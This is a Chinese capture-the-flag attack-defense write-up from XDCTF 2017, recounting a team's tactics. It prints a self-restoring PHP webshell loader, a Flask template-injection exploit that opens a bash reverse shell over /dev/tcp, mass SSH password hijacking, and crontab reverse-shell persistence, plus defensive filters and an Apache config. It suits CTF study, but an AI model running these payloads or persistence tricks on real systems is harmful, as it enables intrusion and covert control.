[XDCTF-2017-Final] 经验总结
本文首发地址 :
先知技术社区独家发表本文,如需要转载,请先联系先知技术社区授权;未经授权请勿转载。
先知技术社区投稿邮箱:Aliyun_xianzhi@service.alibaba.com
今天早上看到沐师傅在知乎上的回答 , 感觉自己还是有点太为了比赛而比赛了
以后还是得多联系实际的网络攻防对抗
写一篇小总结吧 , 记录一些小经验和一些比较有意思的事
Final-Rank首先感谢 A1Lin学长 以及 Yolia 学姐的强力输出 , 真的强 , 不得不服 , orzzzz , 深感荣幸
网络拓扑 :
主办方在比赛之前并没有提供网络拓扑
所以在得到这个信息以后 , 到时候肯定先要主机发现了
masscan -p 80 172.16.0.0/24
在比赛开始前 , 为每一个队伍发放了写有用户名密码已经自己队伍的GameBox的IP地址的小纸条
每个队伍队员携带的笔记本接入的IP为DHCP获取的 , 我们队伍为 192.168.1.1/24
比赛中发现应该是每一个队占用一个C段 , 别的队可能是 192.168.2.1/24 等等
GameBox 位于 172.16.0.150-172.16.205
每一个队伍五台服务器 , 两个 Web 题 , 两个 Pwn 题 , 还有一道 Mobile
每个队伍的相同题目的 IP 地址的第四段求余 5 都是相同的
例如我们队为 :
172.16.0.165 web2 (Ubuntu-Server-16.04)
172.16.0.166 web1 (Ubuntu-Server-16.04)
172.16.0.167 mobile (Windows-7)
172.16.0.168 pwn1 (Ubuntu-Server-16.04)
172.16.0.169 pwn2 (Ubuntu-Server-16.04)
其他规则 :
- 比赛期间不允许接入外网 , 赛场有手机信号屏蔽器
- 比赛 08:30 开始 , 半小时维护时间 , 09:00 开始可以开始攻击
- Flag 的获取方式是在靶机上访问 http://172.16.0.30:8000/flag 这个 URL , 就会返回 flag , 而不是一个本地的文件
例如 :
curl http://172.16.0.30:8000/flag
php -r 'echo file_get_contents("http://172.16.0.30:8000/flag");'
如果是本地的文件的话 , 我们就可以直接利用一个任意文件读取漏洞来获取 flag 了 , 但是这个不行 , 只能是类似任意代码执行或者ssrf才可以
套路 :
第一回 : 单身二十年小伙手速大力出奇迹
在第一眼看到主办方发的环境配置以及用户名密码的纸条的时候我就乐了
四台 Linux 服务器 , 用户名密码一看就是所有队伍都一样 , 可以拼一波手速了
看来准备的小书包还是有点用处的 , 九点钟的时候就掏出准备好的 , ssh 密码修改脚本
因为刚开始还没有摸清楚网络拓扑 , 直接批量修改 172.16.0.1/24 了 , 但是因为前面的主机都不存在
所以一直没有看到效果 , 所以就搁在后台慢慢跑了 , 最后大概下午一点的时候 , 才发现卧槽 ? 居然真的把一些队的密码给改了
再看看 IP , 诶 , 奇怪 , 怎么会把我们自己的服务器的密码也给改了呢 ?
被修改的 IP 是 172.16.0.166 , 也就是 web1 , 之前的用户名密码为 : ubuntu/openstack
不应该啊 , 我们在维护的时候就已经把密码改过了啊 ... 最后检查一下 , 这个服务器居然有俩用户...
但是主办方给我们的纸条上并没有写...有点坑啊...
可以看到几乎所有的队的这道题都被脚本改掉了默认密码 , 所以这个题基本就不用做了 , 单凭这个就可以直接吊打全场
因为 web1 没有给 root 权限 , 用户也不是 sudoer
image.png
但是 web2 的用户是有 root 权限的
最后想了想 , 当时有点激动 , 应该试试 ubuntu 用户是不是 sudoer 的 , 如果是的话 , 那就真的有好戏看了 , 手动滑稽
还有一个挺遗憾的一点 , 当时比赛的时候脚本写的其实有点问题
最开始发现了大概 9 个弱口令 , 其中不乏除过 web1 的题目 , 可能是有的队没有在维护时间修改默认密码
然后直接开始利用弱口令登录了 , 但是脚本的逻辑写错了 , 每次拿到 flag 之后就把 ssh 的 session 断掉了
这就导致 , 有队伍发现自己服务器不能登录以后 , 申请重置了服务器 , 然后我们这边就不能再利用了
正常的逻辑应该是一次登录 , 然后就利用已经成功登录的服务器的 ssh 的 session , 循环 get flag
最后比赛结束前大概两小时才意识到这一点 , 确实因为这个损失不少分数
第二回 : 不慎删除菜刀无法批量利用 Webshell
比赛前一天以为第二天可以上网的 , 所以就把 Webshell-Sniper 给删掉了
然后第二天在真正用的时候才追悔莫及
Web2 是一道海洋 CMS , 刚好在铁三的时候有一道原题 , 利用了漏洞 :
因为当时不能上网 , 所以就用手机搜了一下 EXP , 手动输入进去之后发现居然没用 , 然后天真的我就以为这个CMS可能是个新版本
很可能不能用 , 所以就想着先白盒审计审计 , 看看是不是留了什么后门
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
找了一番 , 好像并没有发现特意留下来的后门
过了大概一个小时...才发现 , 我们这道题居然在一直掉分
看了一下日志 , 卧槽 ? payload 居然真的就是这个远程代码执行漏洞
可能是最开始手一哆嗦把 POC 输错了 , orz
然后就赶紧写 EXP 开始打
但是无奈啊 , 没有用到 Webshell-Sniper
可惜了比赛前准备很久的自动写入内存木马的小功能
这个题目也没有用到内存木马 , 只是用漏洞打了大概有一两个小时 , 然后大家就都把漏洞修复了
这个题目最开始整个 web 目录的权限都是 777 , 包括 /var/www/html 这个目录
注意到这一点了 , 但是没敢改成 755
因为我怕 checker 也会上传文件来检测服务是否存活
最后发现了大佬居然在根目录上传了俩内存 shell
一咬牙 , 还是全改成 755 吧 , 等下找找上传目录在改回来
find . -type d -writable | xargs chmod 755
发现全改成 755 之后好像还真没被判定为 Down 机 , 那就这样呗
最后这道题也一分没丢
遗憾的几点 :
- 看到 webshell 之后直接就慌了 , 匆匆 cat 了一下发现挺复杂的 , 然后就赶紧删掉了 , 并没有保存下来跟大佬学习学习新姿势
- 还是没有利用漏洞维持权限 , 漏洞被修复以后就啥也干不了了
- 大佬们上传的 webshell 名称并没有随机 , 而且应该是每个队伍的路径都是一样的 , 但是可惜 shell 被我很快就删掉了 , 所以就没有办法再利用了 , 这一点以后还是要注意
- 第三点说的其实还是可以利用的 , 因为大佬的脚本并没有检测到 shell 被删就不再发送 payload 的功能 , 所以直接在相同目录构造日志记录的 php 应该就能拿到 payload 了 , 但是比赛的时候并没有想到这个
- 网上流传的内存木马大多长这样 :
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = '<?php eval($_POST[c]);?>';
while(true) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
注意到了吗 , while 里面只是判断了这个文件是不是存在 , 那么我只需要把你这个文件中的 shell 注释掉就可以绕过你的内存木马了
正确的姿势应该是这样 :
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = '<?php eval($_POST[c]);?>';
while(true) {
if(md5(file_get_contents($file))!==md5($code)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
- 在第一次发现 Web2 这道题在丢分以后 , 就赶紧想着修复 , 但是由于最开始的时候搞错了 php 的 strpos 函数的参数
所以很长一段时间内 , 这个题目都是被 checker 判断为宕机的
给出最终的修补脚本 :
// 也只有 die , 并没有进行流量记录的功能
<?php
function blackListFilter($black_list, $var){
foreach ($black_list as $b) {
if(stripos($var, $b) !== False){
var_dump($b);
die();
}
}
}
$black_list = ['eval', 'assert', 'shell_exec', 'system', 'call_user_func', 'call_user_method', 'passthru'];
$var_array_list = [$_GET, $_POST, $_COOKIE];
foreach ($var_array_list as $var_array) {
foreach ($var_array as $var) {
blackListFilter($black_list, $var);
}
}
?>
-
Web2 其实是有 root 权限的 , 那么其实是可以直接修改 php.ini 来禁用一些危险函数的 , 但是因为之前没有准备 , 比赛的时候太紧张也没有想到 , 所以也就没有做
-
后记 :
当时比赛的时候并没有安装代码比较工具 , 刚才装了一个 , 对比发现 , 这里还有一个出题人留下的后门 , 无奈比赛中并没有发现
这也算是准备不足吧 , 有些可惜
// 抱歉看错了 , 这个 admin_ping.php 是新版本才有的功能
// 似乎是个海洋CMS的后台 GetShell 0Day 诶 , 滑稽脸
第三章 : 震惊 , 学渣抄学霸作业抄地飞起
感谢 Yolia 学姐 , 对 Flask 的深入透彻的理解
在流量中我们发现了这样一条流量 :
GET http://HOST:PORT/auth/getimage/aHR0cDovLzE3Mi4xNi4wLjMwOjgwMDAvZmxhZw==
审计了一下代码 :
image.png发现这里可以直接 SSRF 发送一个 HTTP 请求 , 那么这里刚好可以用来获取 FLAG
然后就赶紧写EXP喂给漏洞利用框架
在中午吃饭的时候又发现了一条可疑的流量 :
POST http://HOST:PORT/auth/test
拿到的 POST 数据包为 :
username=d2hvYW1p&password=whoami&x={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].popen("'''+"bash -c 'bash -i &>/dev/tcp/192.168.1.2/8080 0>&1'".encode("base64").replace("\n", "")+'''".decode("base64")).read()}}{% endif %}{% endfor %}
通过学姐的分析定位到关键代码 :
image.png image.png向 /auth/test
这个路由 POST 的 username 会被写到 /tmp/username.txt 这个文件中
然后会使用 Template 模板渲染函数将其渲染成HTML
存在模板注入漏洞 :
image.png
这样就可以执行任意代码 , 也就是说我们只需要上传一个恶意的模板文件 , 然后让 Template 函数渲染这个模板文件即可执行我们注入的代码
/auth/test
这个路由中 , valid_login 这个函数形同虚设 , 只是验证了 username 是不是等于 base64 编码后的 password
所以直接构造 Payload 即可 , 最终的 Exploit 如下 :
import requests
def get_flag(host, port):
url = "http://%s:%d/auth/test" % (host, port)
payload = '''{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].popen("'''+"bash -c 'bash -i &>/dev/tcp/192.168.1.2/8080 0>&1'".encode("base64").replace("\n", "")+'''".decode("base64")).read()}}{% endif %}{% endfor %}'''
username = "admin"
data = {"x":payload,"username":".ctf","password":base64.b64encode(".ctf")}
response = requests.post(url, data=data, timeout=5)
flag = response.content
return flag
if __name__ == "__main__":
get_flag("172.16.0.150", 80)
Yolia 学姐还在代码中发现这这一处可能存在漏洞的地方 :
image.png image.png路由 /hello
会将 test.txt
的内容渲染 , 那么如果 test.txt
内容可控 , 即可构造和上述模板注入相同的 EXP
然后这里还提供了一个文件上传的功能 , 但是这个文件上传的功能需要登录
而且文件名还存在白名单
关于登录 :
- 可以从默认数据库中拿到用户名和密码
- 在代码 : tests/*.py 中也可以拿到测试用例的用户名和密码
可以看到是可以上传 txt 文件的 , 而且对文件名并没有过滤掉 ../
因此 , 这里其实是可以穿越到上层目录的 , 也就是说可以直接覆盖掉 test.txt
这样我们只需要每次访问路由 hello
, 那么 test.txt
就会被渲染 , 就可以代码执行拿到 flag
第一步 : 登录
第二步 : 上传
第三步 : 访问 /auth/hello
路由 , 获取 flag
但是刚才一直在测试 , 好像没有发现怎么才能登录成功
遗憾 :
- 一早上很长一段时间我们的服务器都是宕机的 , 被 checker 判定为宕机 , 但是事实上我们并没有对代码做任何修改 , 最后联系了管理员 , 管理员告诉我们这个问题需要自己查看日志解决
在日志中发现了路由 :/shutdown
只要访问这个 URL , 就会导致对方服务器宕机
多亏 Yolia 学姐在发现了问题之后就迅速修复了这个 BUG
找到这个问题后 , 也没有利用这个 BUG 来攻击别人 , 这个也是亏的一点
第四章 : 反弹 shell 构建僵尸网络
下午的时候基本上优势已经比较明显了 , 就在想怎么尽可能维持权限了
掏出之前写的 Reverse-Shell-Manager , 利用 Web1 和 Pwn 的 Exp , 反弹 shell , 大概最后上线了二十多台主机
最终利用工具将反弹 shell 的脚本写入 crontab , 玩儿得挺嗨
可惜没有留下截图
遗憾 :
- 工具有几率出现读取 socket 阻塞的情况 , 这样前端就会卡住 , 不得不将程序重新启动
但是这样就会使目前已经上线的主机全部掉线 , 是一个很大的损失 , 还是开发的时候没有控制好前端的线程操作
后记 :
关于修改 ssh 密码的脚本 , 重新修改了一下 , 主要的更新是将输入文件和输出文件的格式一样 , 这样多次运行脚本就可以形成日志链 , 不用再手动格式化日志文件
还有更新的一点是脚本现在并不是每一轮都重新登录一次 , 而是长期维护这个 session , 这样就算目标队伍修改了密码 , 我们这里的 ssh session 还是不会断开
除非重启 ssh 服务或者服务器重启 , 这样也算是一种权限维持吧
https://github.com/WangYihang/Attack_Defense_Framework/blob/master/ssh/auto_ssh.py
想到但是没有用到的其他点 :
- 可以修改 pwn 题的 curl 命令的别名
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
image.png
image.png
如果是 Pwn 服务器的话 , 连上去之后 , 可以先把 curl 命令直接改掉
这样就算对方打进来 , 如果不知道这一点 , 每次获取到的都是假的 flag
所以在写 pwn 的 exp 的时候 , 拿到 shell 之后如果要调用系统命令 , 最好还是使用绝对路径来调用
/usr/bin/curl
- 通用 WAF
这个由于主办方明令禁止 , 所以就没有用了 , 这部分准备的也不够充分
而且如果是多入口的应用程序 , 并且没有 root 权限的话 , 部署起来比较困难
如果有 root 权限 , 则可以使用 apache 的 rewrite 模块
将 .htaccess 写入目录来控制对目录的访问
给出一个 apache 配置文件样例 , 用来禁用 php 执行 :
<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory>